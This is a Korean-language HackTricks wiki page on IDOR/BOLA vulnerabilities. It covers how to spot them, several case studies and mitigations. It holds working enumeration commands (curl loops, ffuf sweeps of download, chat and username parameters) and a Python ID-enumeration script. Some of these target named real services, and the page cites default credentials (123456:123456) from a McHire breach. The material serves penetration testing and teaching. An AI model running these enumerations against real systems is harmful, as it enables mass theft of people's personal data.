IDOR (Insecure Direct Object Reference)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA)는 웹 또는 API 엔드포인트가 사용자가 제어할 수 있는 식별자(user–controllable identifier)를 공개하거나 수락하고, 그 식별자가 내부 객체에 직접 접근하는 데 사용될 때 발생합니다. 이 과정에서 호출자가 해당 객체에 접근/수정할 권한이 있는지 검증하지 않습니다. 성공적인 악용은 일반적으로 다른 사용자의 데이터를 읽거나 수정하는 등 수평 또는 수직 privilege-escalation을 허용하며, 최악의 경우 full account takeover 또는 mass-data exfiltration으로 이어질 수 있습니다.
1. 잠재적 IDOR 식별
- 객체를 참조하는 파라미터를 찾아보세요:
- 경로:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - 쿼리:
?id=42,?invoice=2024-00001 - 본문 / JSON:
{"user_id": 321, "order_id": 987} - 헤더 / 쿠키:
X-Client-ID: 4711
- 데이터에 읽기 또는 업데이트 작업을 수행하는 엔드포인트(
GET,PUT,PATCH,DELETE)를 우선적으로 검사하세요. - 식별자가 연속적이거나 예측 가능한지 주목하세요 – 예: ID가
64185742라면64185741도 존재할 가능성이 높습니다. - 로그인 페이지의 “Paradox team members” 링크처럼 숨겨진 또는 대체 흐름을 탐색하여 추가 API가 노출되는지 확인하세요.
- 인증된 낮은 권한 세션을 사용하고 동일한 token/cookie를 유지한 채 ID만 변경해보세요. 권한 오류가 없으면 일반적으로 IDOR의 신호입니다.
Quick manual tampering (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
자동화된 열거 (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
예측 가능한 다운로드 ID 열거 (ffuf)
인증된 파일 호스팅 패널은 종종 사용자별 메타데이터를 단일 files 테이블에 저장하고 /download.php?id=<int> 같은 다운로드 엔드포인트를 노출한다. 핸들러가 ID가 존재하는지 여부만 확인하고(해당 ID가 인증된 사용자에 속하는지 여부는 확인하지 않는 경우), 유효한 세션 쿠키로 정수 공간을 스윕하여 다른 테넌트의 백업/configs를 탈취할 수 있다:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-fr는 404-style 템플릿을 제거해 진짜 히트만 남깁니다 (예: IDs 54/150 leaking full site backups and signing material).- 동일한 FFUF 워크플로는 Burp Intruder나 curl 루프에서도 작동합니다 — 단, ID를 증가시키는 동안 인증 상태를 유지해야 합니다.
인증된 조합 열거 (ffuf + jq)
일부 IDOR는 multiple object IDs를 허용합니다(예: 두 사용자 간의 채팅 스레드). 앱이 단지 당신이 로그인되어 있는지만 확인한다면, 세션 cookie를 유지한 채로 두 ID를 모두 fuzz할 수 있습니다:
ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json
그런 다음 jq로 JSON 출력물을 후처리하여 대칭 중복(A,B) vs (B,A)을 제거하고 고유한 쌍만 유지하세요:
jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json
Error-response oracle for user/file enumeration
When a download endpoint accepts both a username and a filename (e.g. /view.php?username=<u>&file=<f>), subtle differences in error messages often create an oracle:
- 존재하지 않는 username → “User not found”
- 잘못된 filename이지만 extension이 유효한 경우 → “File does not exist” (때때로 사용 가능한 파일을 나열함)
- 잘못된 extension → validation error
어떤 authenticated session이든, benign filename을 고정한 상태에서 username parameter를 fuzz하고 “user not found” 문자열로 필터링하면 유효한 사용자를 찾을 수 있다:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
유효한 사용자 이름을 확인한 후에는 특정 파일을 직접 요청해 보라(예: /view.php?username=amanda&file=privacy.odt). 이 패턴은 일반적으로 다른 사용자의 문서 무단 노출 및 credential leakage로 이어진다.
2. 실제 사례 연구 – McHire 챗봇 플랫폼 (2025)
Paradox.ai 기반의 McHire 채용 포털 평가 중 다음과 같은 IDOR가 발견되었다:
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: user session cookie for any restaurant test account
- Body parameter:
{"lead_id": N}– 8자리, sequential 숫자 식별자
lead_id 값을 감소시키자 테스터는 임의의 지원자들에 대한 full PII(이름, 이메일, 전화번호, 주소, 근무 선호)와 세션 탈취를 가능하게 한 소비자 JWT를 획득했다. 범위 1 – 64,185,742를 열거한 결과 약 64 million 건의 레코드가 노출되었다.
Proof-of-Concept request:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combined with 기본 관리자 자격증명 (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
사례 연구 – 손목밴드 QR 코드의 약한 bearer tokens (2025–2026)
흐름: Exhibition visitors received QR-coded wristbands; scanning https://homeofcarlsberg.com/memories/ let the browser take the printed wristband ID, 16진수로 인코딩하고, cloudfunctions.net 백엔드에 호출해 저장된 미디어(사진/동영상 + 이름)를 가져왔다. There was no session binding or user authentication—knowledge of the ID = authorization.
예측 가능성: Wristband IDs followed a short pattern such as C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). The space was estimated at ~26M combinations, trivial to exhaust online.
Burp Intruder를 사용한 Exploitation workflow:
- Payload generation: 후보 ID 생성(예:
[A-Z]-###-###). Use a Burp Intruder Pitchfork or Cluster Bomb attack with positions for the letter and digits. Add a payload processing rule → Add prefix/suffix → payload encoding: ASCII hex so each request transmits the hex string expected by the backend. - Response grep: Intruder에서 유효한 응답에만 존재하는 마커(예: 미디어 URL/JSON 필드)에 대해 grep-match를 지정한다. Invalid IDs typically returned an empty array/404.
- Throughput measurement: 약 1,000,000개의 ID를 노트북에서 약 2시간 동안 테스트(~139 req/s). At that rate the full keyspace (~26M) would fall in ~52 hours. 샘플 실행만으로도 이미 약 500개의 유효한 손목밴드(동영상 + 전체 이름)가 노출되었다.
- Rate-limiting verification: 공급업체가 throttling을 주장한 후 동일한 Intruder config를 다시 실행했다. Identical throughput/hit-rate는 해당 제어가 존재하지 않거나 효과가 없음을 증명했고; enumeration은 방해받지 않고 계속되었다.
빠른 스크립트형 변형(클라이언트 측 hex encoding):
import requests
def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)
for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())
Lesson: Encoding (ASCII→hex/Base64)는 엔트로피를 추가하지 않습니다; 짧은 ID는 외형적 인코딩에도 불구하고 열거 가능한 bearer tokens이 됩니다. 사용자별 권한검사 + 고엔트로피 비밀이 없으면 media/PII는 “rate limiting”을 주장하더라도 대량으로 수집될 수 있습니다.
3. IDOR / BOLA의 영향
- 수평 권한 상승 – 다른 사용자의 데이터를 읽기/수정/삭제할 수 있음.
- 수직 권한 상승 – 낮은 권한 사용자가 관리자 전용 기능을 획득.
- 식별자가 순차적일 경우 대규모 데이터 유출(예: applicant IDs, invoices).
- 다른 사용자의 토큰을 훔치거나 비밀번호 재설정을 통해 계정 탈취.
4. 완화 방안 및 모범 사례
- 모든 요청에 대해 객체 수준 권한 검사를 적용 (
user_id == session.user). - 자동 증가 ID 대신 간접적이고 추측 불가능한 식별자(UUIDv4, ULID)를 사용.
- 권한 검사는 서버 측에서 수행하고 숨겨진 폼 필드나 UI 제어에 의존하지 않음.
- 중앙 미들웨어에서 RBAC / ABAC 검사를 구현.
- ID 열거를 탐지하기 위해 rate-limiting & logging을 추가.
- 새 엔드포인트마다 보안 테스트 수행(단위, 통합, 및 DAST).
5. 도구
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
참고자료
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft
- 0xdf – HTB Era: predictable download IDs → backups and signing keys
- 0xdf – HTB: Guardian
- Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


